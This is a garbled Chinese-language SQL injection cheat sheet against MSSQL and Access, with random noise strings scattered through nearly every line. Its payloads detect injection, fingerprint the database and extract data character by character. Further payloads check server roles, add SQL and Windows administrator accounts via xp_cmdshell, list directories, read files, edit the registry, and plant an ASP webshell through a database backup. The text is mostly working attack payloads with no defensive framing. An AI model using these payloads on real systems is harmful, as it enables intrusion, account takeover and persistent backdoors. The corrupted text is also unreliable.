1.判断是否有注入;and 1=1 ;and 1=2 RyJ 1mAC
2.初步判断是否是mssql ;and user>0 a ]Eg!Q
wxg^Bq)D*R
3.注入参数是字符'and [查询条件] and ''=' X?:o;wB
IP`6bMd
4.搜索时没过滤参数的'and [查询条件] and '%25'=' / $ :j
OLGBt
5.判断数据库系统 2&'|Eqk
s=6}%%q6
;and (select count(*) from sysobjects)>0 mssql B(?Yw>Xd[
GQQ.OvEc
;and (select count(*) from msysobjects)>0 access 9>zcBG8f
j$UV/tp5T
.nu @ o40
T<3BT
6.猜数据库 ;and (select Count(*) from [数据库名])>0 fKC3-zm
=<r8fXWZ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 /MMd`VrC2
Migd(uw'
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 u's`*T@.
kE8>dmH23
9.(1)猜字段的ascii值(access) Wz4&7KYY
zya5Jb:Sg
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 v~3B:k:?l
3f" %G\
(2)猜字段的ascii值(mssql) vK7\JZ>
UJfT!= =U
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 >d"3<S ;b
n\Fp[9+Z\
10.测试权限结构(mssql) 7!,YNy%
Aa0b6?Jm
RIu~ @
hz;|NW{u
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7cAXd#sI
E:zF/$tG
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- -K,-h[o
]<(]u#g_d
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Y2B&go
S##1GOO
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- \^( 0B8|w
SG}V[Glk
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Gb[`R}^dq
6qN~/TnHZ
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- S po?i.#
~ ~uAc_
;and 1=(select IS_MEMBER('db_owner'));-- ETp%s{8
y@2epY?{
I? THa<
alh >"9~!
11.添加mssql和系统的帐户 `Y-|H;z
o1&:ry
;exec master.dbo.sp_addlogin username;-- -<jL~][S
;exec master.dbo.sp_password null,username,password;-- Fhv/[j^X
J"=1/,AS
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- } VJfJ/
J q{7R
;exec master.dbo.xp_cmdshell 'net user username password xtPLR/Z
L9pvG(R%
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Go,N>HN
WN(ymcdYB
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 26X+
}^52
m)V/L]4
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- f\'{3I29
}:0uo5B7
(feTk72XX
?USQlnr:R/
12.(1)遍历目录 +("7ZK?
@
'@:sM_
;create table dirs(paths varchar(100), id int) gaA<}Tp,
s9dO,FMs0t
;insert dirs exec master.dbo.xp_dirtree 'c:\' i)#:qAtP*
vvUSeG\n#j
;and (select top 1 paths from dirs)>0 DAo~8H
UAR5^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ycFio ,
GgaTn!mJt
m<L;
rc+C?)S
(2)遍历目录 =rdY
@
1&fc1uYB4
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- gP+fN$5'd
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 e h,~^x5
?#yV3h|Ij
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 SIBoCs5
)54%HM_$k
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 qV5DW0.
G=;k=oX(
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 `eu9dLzH
.NtbL./=|
,=?{("+
s2j['g5
13.mssql中的存储过程 ngj,x7t
)%!XSsY.N|
xp_regenumvalues 注册表根键, 子键 OL_{_K(w
8M@BG8
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0%!rx{f#\
:xKcpY[{
xp_regread 根键,子键,键值名 Y>jiXl?&
AeAp0cbet
;exec xp_regread ;3_l@dP"
7ugZE93!
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 O;7)Hjw t
f|u#2!7
xp_regwrite 根键,子键, 值名, 值类型, 值 [AV4m
eNiaM6(J
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 jA#/Z
?\8?%Qk
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 j~j\\Y
i#%aTRKHd6
xp_regdeletevalue 根键,子键,值名 G,;,D9jO7
EyY.KxCB
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ~b{Gz6u>
fDx9iHGv
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Mi~(aah
+cU>k}
qRbf2;
8w({\=
14.mssql的backup创建webshell ;gC|
|yo\R{&6
use model V.wqZ {G
64:fs?H
create table cmd(str image); mo~*C
p }[zt#v
insert into cmd(str) values (''); =IAsH85Q
qY 4#V k
backup database model to disk='c:\l.asp'; $=?@*p
Ts~L:3oaQ
$ cj>2.
`K,1K
15.mssql内置函数 nC{%quwh{
Zw
wqSyuGf
;and (select @@version)>0 获得Windows的版本号 ^&g=u5
d0
Fs[aa#v4B
;and user_name()='dbo' 判断当前系统的连接用户是不是sa VbBPB5 $q
u{["50~
;and (select user_name())>0 爆当前系统的连接用户 B c2p(z4
>vo=]cw
;and (select db_name())>0 得到当前连接的数据库 y\{%\ $
Fd*8N8Pi
M:5b4$Qh<
C*nB
16.简洁的webshell 'mV9 {lj7E
If%/3UJ@
use model 'U'yC2BI n
#nh|=X
create table cmd(str image); 1
hg}(Hix
JmEj{K<3I
insert into cmd(str) values (''); B:7mpSnEQ
BL&LeSa
backup database model to disk='g:\wwwtest\l.asp';